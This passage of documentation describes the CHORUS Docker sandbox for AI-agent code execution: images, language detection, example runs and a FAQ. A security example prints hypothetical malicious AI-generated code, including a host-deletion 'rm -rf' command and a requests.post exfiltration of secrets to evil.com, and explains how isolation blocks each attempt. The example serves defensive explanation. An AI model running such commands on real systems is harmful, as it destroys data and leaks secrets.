│ Simplicity        │ ⭐⭐⭐⭐⭐  Zero config, no auth needed  │
│ State Persistence │ ⭐⭐⭐⭐⭐  Files persist between commands│
│ Reproducibility   │ ⭐⭐⭐⭐⭐  Same env every time          │
│ Resource Control  │ ⭐⭐⭐⭐⭐  CPU, memory, disk limits     │
│ API Quality       │ ⭐⭐⭐⭐⭐  Official Go SDK, well-tested │
│ Portability       │ ⭐⭐⭐⭐⭐  Works anywhere Docker runs   │
└──────────────────────────────────────────────────────────────┘
```

---

## Available Development Environments

All images are publicly available on Docker Hub: `docker.io/anthonyrawlins/chorus-*`

### Image Catalog

| Image | Base Size | Tools Included | Use Cases |
|-------|-----------|----------------|-----------|
| **chorus-base** | 643MB | git, curl, wget, vim, jq, build-essential, netcat, zip/tar | Shell scripts, generic tasks, text processing |
| **chorus-rust-dev** | 2.42GB | rustc 1.77+, cargo, clippy, rustfmt, rust-analyzer, ripgrep, fd-find, bat | Rust compilation, cargo builds, clippy linting, formatting |
| **chorus-go-dev** | 1GB | go1.22, gopls, delve, staticcheck, golangci-lint | Go builds, go mod operations, testing, linting |
| **chorus-python-dev** | 1.07GB | python3.11, uv, pip-tools, ruff, black, mypy, pytest, pylint, ipython | Python scripts, pip installs, testing, type checking |
| **chorus-node-dev** | 982MB | node20, npm, pnpm, yarn, typescript, ts-node, eslint, prettier, nodemon | npm builds, TypeScript compilation, testing, linting |
| **chorus-java-dev** | 1.3GB | openjdk-17, maven, gradle | Maven/Gradle builds, Java compilation, JUnit testing |
| **chorus-cpp-dev** | 1.63GB | gcc, g++, clang, cmake, ninja, gdb, valgrind, doxygen | C/C++ compilation, CMake builds, debugging, profiling |

### Workspace Structure (Standardized Across All Images)

```
/workspace/
├── input/      Read-only source code, task inputs
│   ├── src/
│   ├── README.md
│   └── Cargo.toml
│
├── data/       Working directory for builds and temporary files
│   ├── target/         (Rust build artifacts)
│   ├── node_modules/   (Node dependencies)
│   └── .cache/         (Various caches)
│
└── output/     Final deliverables and artifacts
    ├── myapp           (compiled binary)
    ├── test-results.xml
    └── coverage.html
```

### Environment Variables (All Images)

```bash
WORKSPACE_ROOT=/workspace
WORKSPACE_INPUT=/workspace/input
WORKSPACE_DATA=/workspace/data
WORKSPACE_OUTPUT=/workspace/output
```

### Example: Using Each Image

**Rust Development:**
```bash
docker run --rm -v $(pwd):/workspace/input:ro \
    anthonyrawlins/chorus-rust-dev:latest \
    bash -c "cd /workspace/input && cargo build --release"
```

**Python Script:**
```bash
docker run --rm -v $(pwd):/workspace/input:ro \
    anthonyrawlins/chorus-python-dev:latest \
    bash -c "cd /workspace/input && python3 main.py"
```

**Node.js Application:**
```bash
docker run --rm -v $(pwd):/workspace/input:ro \
    anthonyrawlins/chorus-node-dev:latest \
    bash -c "cd /workspace/input && npm install && npm test"
```

### Language Detection Algorithm

```go
// Priority 1: Explicit (highest confidence)
{
  "context": {
    "language": "rust"  // ← Directly specified
  }
}
// Result: chorus-rust-dev

// Priority 2: Repository URL patterns
{
  "context": {
    "repository_url": "github.com/user/my-rust-app"  // ← "rust" in name
  }
}
// Result: chorus-rust-dev

// Priority 3: Description keywords
{
  "description": "Fix compilation error in Cargo.toml"  // ← "Cargo.toml" detected
}
// Result: chorus-rust-dev (high-priority keyword match)

// Priority 4: Generic mentions
{
  "description": "Update the rust version"  // ← Generic "rust" mention
}
// Result: chorus-rust-dev (medium-priority match)

// Fallback
{
  "description": "Process this JSON file"  // ← No language detected
}
// Result: chorus-base (fallback)
```

### AI Model Awareness (New in v2.0)

AI models now receive image information in their system prompt via **Rule E: Execution Environments**:

```markdown
Available Images (Docker Hub: anthonyrawlins/chorus-*):

| Language/Stack | Image | Pre-installed Tools | Use When |
|----------------|-------|---------------------|----------|
| **Rust** | chorus-rust-dev | rustc, cargo, clippy | Rust compilation... |
```

This allows AI to:
- Recommend appropriate environments
- Explicitly set `context.language` in responses
- Explain tool availability to users
- Plan multi-step execution with correct images

---

## Real-World Examples

### Example 1: Fix Rust Compilation Error

**User Request:**
```json
{
  "task_id": "FIX-001",
  "description": "Fix the compilation error in src/main.rs",
  "context": {
    "repository_url": "https://github.com/user/my-rust-app",
    "language": "rust"
  }
}
```

**Execution Flow:**

```
1. Language Detection
   ├─ Explicit: context.language = "rust" ✅
   ├─ Repository: "rust-app" detected ✅
   └─ Selected: anthonyrawlins/chorus-rust-dev:latest

2. Sandbox Initialization (850ms)
   ├─ Pull image (0ms - cached)
   ├─ Create container (300ms)
   ├─ Start container (150ms)
   └─ Configure workspace (400ms)

3. AI Analysis (5s)
   ├─ Read src/main.rs
   ├─ Identify error: "unused variable `x`"
   └─ Generate fix

4. Apply Fix (50ms)
   ├─ WriteFile(src/main.rs, fixed_content)
   └─ Verify with syntax check

5. Compile & Test (45s)
   ├─ Command: cargo build --release
   ├─ stdout: "Compiling myapp v0.1.0..."
   ├─ Command: cargo test
   └─ Exit code: 0 ✅

6. Collect Artifacts (200ms)
   ├─ Binary: target/release/myapp (4.2MB)
   ├─ Test report: target/test-results.xml
   └─ Coverage: target/coverage.html

7. Cleanup (150ms)
   ├─ Stop container
   └─ Remove container

Total Time: 51.25 seconds
Result: Success ✅
```

**Resource Usage:**
```
CPU: 1.8 cores average (90% of 2-core limit)
Memory: 1.6GB peak (80% of 2GB limit)
Disk I/O: 450MB read, 180MB written
Network: 0 bytes (isolated)
Processes: 12 peak (12% of 100 limit)
```

### Example 2: Python Data Analysis

**User Request:**
```json
{
  "task_id": "ANALYZE-001",
  "description": "Run pytest on the data analysis pipeline",
  "context": {
    "repository_url": "https://github.com/user/data-pipeline"
  }
}
```

**Execution Flow:**

```
1. Language Detection
   ├─ Repository: "data-pipeline" (no lang hint)
   ├─ Description: "pytest" detected ✅
   └─ Selected: anthonyrawlins/chorus-python-dev:latest

2. Setup Dependencies (15s)
   ├─ Command: uv sync
   ├─ Installs: pandas, numpy, pytest, pytest-cov
   └─ Cache: /workspace/data/.cache/uv/

3. Run Tests (8s)
   ├─ Command: uv run pytest --cov=src --cov-report=html
   ├─ stdout: "test_pipeline.py::test_transform PASSED"
   ├─ stdout: "test_pipeline.py::test_analyze PASSED"
   ├─ Coverage: 94%
   └─ Exit code: 0 ✅

4. Artifacts
   ├─ HTML report: htmlcov/index.html
   ├─ XML report: coverage.xml
   └─ Pytest cache: .pytest_cache/

Total Time: 24.8 seconds
Result: Success ✅ (94% coverage)
```

### Example 3: Multi-Language Monorepo

**User Request:**
```json
{
  "task_id": "BUILD-001",
  "description": "Build the frontend and backend",
  "context": {
    "repository_url": "https://github.com/user/fullstack-app"
  }
}
```

**Execution Flow (Sequential):**

```
Task 1: Build Backend (Go)
─────────────────────────────
1. Detect: "go.mod" found → go-dev
2. Sandbox: chorus-go-dev container
3. Commands:
   ├─ go mod download
   ├─ go build -o backend ./cmd/server
   └─ go test ./...
4. Result: backend binary (12MB)
5. Cleanup & save artifacts

Task 2: Build Frontend (Node.js)
─────────────────────────────────
1. Detect: "package.json" found → node-dev
2. Sandbox: chorus-node-dev container
3. Commands:
   ├─ npm install
   ├─ npm run build
   └─ npm test
4. Result: dist/ folder (8MB)
5. Cleanup & save artifacts

Combined Artifacts:
├─ backend (12MB)
└─ frontend/dist/ (8MB)

Total Time: 89 seconds (parallel: 52s)
Result: Success ✅
```

### Example 4: Security Scenario - Malicious Code Blocked

**Malicious Request (AI compromised or buggy):**
```json
{
  "task_id": "EVIL-001",
  "description": "Clean up old files",
  "context": {}
}
```

**AI Generates Malicious Code:**
```python
# Attempt 1: Delete host files
import os
os.system("rm -rf /host/important_data")

# Attempt 2: Cryptocurrency miner
while True:
    compute_hash()  # Infinite CPU loop

# Attempt 3: Exfiltrate data
import requests
requests.post("http://evil.com", data=secrets)
```

**What Actually Happens:**

```
Attempt 1: Delete Host Files
─────────────────────────────
Command: rm -rf /host/important_data
Result: ❌ Path not found
Reason: Mount namespace isolation
       /host doesn't exist in container
       Even if it did, read-only root FS prevents deletion

Attempt 2: CPU Mining
─────────────────────
Command: python3 mine.py
Result: ⚠️ Runs but limited
Reason: CPU limit = 2 cores (can't consume all host CPU)
        Timeout = 5 minutes (killed automatically)
        Host system remains responsive

Attempt 3: Network Exfiltration
────────────────────────────────
Command: python3 -c "import requests; requests.post(...)"
Result: ❌ Network unreachable
Reason: NetworkMode = "none"
        No network interfaces available
        Can't resolve DNS or create connections

Final Outcome:
✅ Host system completely safe
✅ Container killed after timeout
✅ All attempts logged for audit
✅ No persistent damage
```

---

## Troubleshooting & FAQ

### Common Issues

**1. "Image not found" Error**

```bash
Error: Failed to pull image: manifest unknown
```

**Solution:**
```bash
# Verify image name
docker pull anthonyrawlins/chorus-rust-dev:latest

# Check Docker Hub manually
# https://hub.docker.com/r/anthonyrawlins/chorus-rust-dev

# If still failing, check internet connection
ping hub.docker.com
```

**2. Container Startup Timeout**

```bash
Error: Context deadline exceeded while starting container
```

**Solution:**
```bash
# Check Docker daemon status
systemctl status docker

# Check system resources
docker system df
df -h

# Clean up old containers/images
docker system prune -a

# Increase timeout in config
timeout: 10 * time.Minute  // Default: 5 minutes
```

**3. Out of Memory Errors**

```bash
Error: Container killed by OOM killer
```

**Solution:**
```go
// Increase memory limit in SandboxConfig
Resources: ResourceLimits{
    MemoryLimit: 4 * 1024 * 1024 * 1024, // 4GB instead of 2GB
}
```

**4. Permission Denied Writing Files**

```bash
Error: Permission denied: /workspace/output/myapp
```

**Solution:**
```bash
# Container runs as UID 1000 (user: chorus)
# Ensure host directories have correct permissions

# On host:
sudo chown -R 1000:1000 /path/to/workspace/output
# Or make world-writable (less secure):
chmod 777 /path/to/workspace/output
```

### FAQ

**Q: Can the AI access my files?**

A: No. The container has its own isolated filesystem. You explicitly choose which files to mount via `Repository.LocalPath`, and even those are mounted read-only by default.

**Q: What if the AI generates malicious code?**

A: The security layers prevent damage:
- No network access (can't exfiltrate data)
- No host file access (can't modify your system)
- Resource limits (can't DoS your machine)
- Read-only root (can't install malware)
- Non-root user (can't escalate privileges)

**Q: How much disk space do the images use?**

A: Total: ~9GB for all 7 images with layer sharing:
- Base layers are shared across images
- Only language-specific layers are unique
- Example: rust-dev = 643MB base + 1.8GB Rust tools

**Q: Can I use custom images?**

A: Yes! Specify in `SandboxConfig`:
```go
config := &SandboxConfig{
    Image: "mycompany/custom-rust:latest",
}
```

**Q: What happens if a command hangs forever?**

A: Automatic timeout:
- Default: 5 minutes per command
- Configurable via `Command.Timeout`
- Container is forcibly stopped after timeout
- Resources are cleaned up automatically

**Q: Can containers communicate with each other?**

A: No by default (`NetworkMode: "none"`). If needed for multi-service testing, you can configure a custom Docker network, but this should be used cautiously.

**Q: How do I debug issues inside the container?**

A: Several options:
```go
// 1. Keep container alive for manual inspection
config.CleanupDelay = 10 * time.Minute

// 2. Execute debug commands
sandbox.ExecuteCommand(ctx, &Command{
    Executable: "ls",
    Args: []string{"-la", "/workspace/data"},
})

// 3. Read log files
logContent, _ := sandbox.ReadFile(ctx, "/workspace/data/build.log")
```

**Q: Performance: Should I pre-pull images?**

A: Highly recommended for production:
```bash
# On each cluster node
docker pull anthonyrawlins/chorus-rust-dev:latest
docker pull anthonyrawlins/chorus-go-dev:latest
docker pull anthonyrawlins/chorus-python-dev:latest
docker pull anthonyrawlins/chorus-node-dev:latest
docker pull anthonyrawlins/chorus-java-dev:latest
docker pull anthonyrawlins/chorus-cpp-dev:latest
docker pull anthonyrawlins/chorus-base:latest
```

This eliminates 30-120s pull time on first use.

**Q: Can I run multiple tasks in parallel?**

A: Yes! Each task gets its own isolated container:
```go
// Safe to run concurrently
go engine.ExecuteTask(ctx, rustTask)
go engine.ExecuteTask(ctx, pythonTask)
go engine.ExecuteTask(ctx, nodeTask)
```

**Q: What's the overhead compared to native execution?**

A: Minimal after warmup:
- First command: +400-850ms (container startup)
- Subsequent commands: +10-15ms per command
- Memory: +150MB overhead
- CPU: +5% overhead

For long-running builds (minutes), overhead is negligible.

**Q: How do I update tool versions in images?**

A: Images are versioned and immutable. To update:
1. Build new image version (e.g., `chorus-rust-dev:1.1.0`)
2. Push to Docker Hub
3. Update `ImageVersion` constant in `images.go`
4. Old versions remain available for reproducibility

---

## Summary: Why This Approach is Revolutionary

### The Promise

CHORUS Task Execution Engine delivers on a critical promise: **AI agents can write, build, test, and execute code safely at scale.**

### Key Innovations

1. **Zero Configuration Security**
   - No SSH keys, no passwords, no firewall rules
   - Security by default, not as an afterthought

2. **Multi-Language Support Out-of-the-Box**
   - 7 pre-configured environments
   - Automatic detection and selection
   - Consistent workspace structure

3. **API-First Design**
   - Direct Docker SDK communication
   - No subprocess spawning
   - Structured error handling

4. **Resource Predictability**
   - Guaranteed CPU, memory, disk limits
   - No "noisy neighbor" problems
   - Fair scheduling across tasks

5. **Auditability**
   - Every command logged
   - Complete resource tracking
   - Reproducible execution history

### The Bottom Line

Traditional approaches force you to choose between:
- **Security** (complex SSH, VMs, permission systems)
- **Performance** (native execution, no isolation)
- **Simplicity** (manual tool installation, dependency hell)

**CHORUS gives you all three.**

---

## References

- **Source Code**: `/home/tony/chorus/project-queues/active/CHORUS/pkg/execution/`
- **Docker SDK**: https://pkg.go.dev/github.com/docker/docker
- **Image Repository**: https://gitea.chorus.services/tony/chorus-dev-images
- **Docker Hub**: https://hub.docker.com/r/anthonyrawlins/
- **Security References**:
  - Linux Namespaces: https://man7.org/linux/man-pages/man7/namespaces.7.html
  - Seccomp: https://docs.docker.com/engine/security/seccomp/
  - AppArmor: https://docs.docker.com/engine/security/apparmor/

---

**Document Version**: 1.0
**Last Updated**: 2025-09-30
**Author**: CHORUS Development Team
**Maintained By**: Tony Rawlins (tony@chorus.services)